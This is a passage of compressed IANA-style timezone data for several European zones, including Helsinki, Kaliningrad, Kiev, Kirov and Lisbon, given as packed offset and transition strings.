WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00|30e3","Europe/Helsinki|LMT HMT EET EEST|-1D.N -1D.N -20 -30|01232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232|-3H0ND.N 1Iu00 OULD.N 1dA0 1xGq0 1cM0 1cM0 1cM0 1cN0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00|12e5","Europe/Kaliningrad|LMT CET CEST EET EEST MSK MSD +03|-1m -10 -20 -20 -30 -30 -40 -30|012121212121212343565656565656565654343434343434343434343434343434343434343434373|-36Rdm UbXm 11d0 1iO0 11A0 1o00 11A0 Qrc0 6i00 WM0 1fA0 1cM0 1cM0 1cM0 390 7A0 1en0 12N0 1pbb0 1db0 1cN0 1db0 1cN0 1db0 1dd0 1cO0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cN0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 8Hz0|44e4","Europe/Kiev|LMT KMT EET MSK CEST CET MSD EEST|-22.4 -22.4 -20 -30 -20 -10 -40 -30|01234545363636363636363636367272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272|-3D8O2.4 1LUM0 eUo2.4 rnz0 2Hg0 WM0 1fA0 da0 1v4m0 1db0 1cN0 1db0 1cN0 1db0 1dd0 1cO0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 Db0 3220 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o10 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00|34e5","Europe/Kirov|LMT +03 +04 +05|-3i.M -30 -40 -50|01232323232323232321212121212121212121212121212121212121212121|-22WM0 qH90 23CL0 1db0 1cN0 1db0 1cN0 1db0 1dd0 1cO0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 2pB0 1cM0 1fA0 1cM0 3Co0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 8Hz0|48e4","Europe/Lisbon|LMT WET WEST WEMT CET CEST|A.J 0 -10 -20 -10 -20|01212121212121212121212121212121212121212121232123212321232121212121212121212121212121212121212121214121212121212121212121212121212124545454212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121|-2le00 aPX0 Sp0 LX0 1vc0 Tc0 1uM0 SM0 1vc0 Tc0 1vc0 SM0 1vc0 6600 1co0 3E00 17c0 1fA0 1a00 1io0 1a00 1io0 17c0 3I00 17c0 1cM0 1cM0 3Fc0 1cM0 1a00 1fA0 1io0 17c0 1cM0 1cM0 1a00 1fA0 1io0 1qM0 Dc0 1tA0 1cM0 1dc0 1400 gL0 IM0 s10 U00 dX0 Rc0 pd0 Rc0 gL0 Oo0 pd0 Rc0 gL0 Oo0 pd0 14o0 1cM0 1cP0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 pvy0 1cM0 1cM0 1fA0 1cM0 1cM0 1cN0 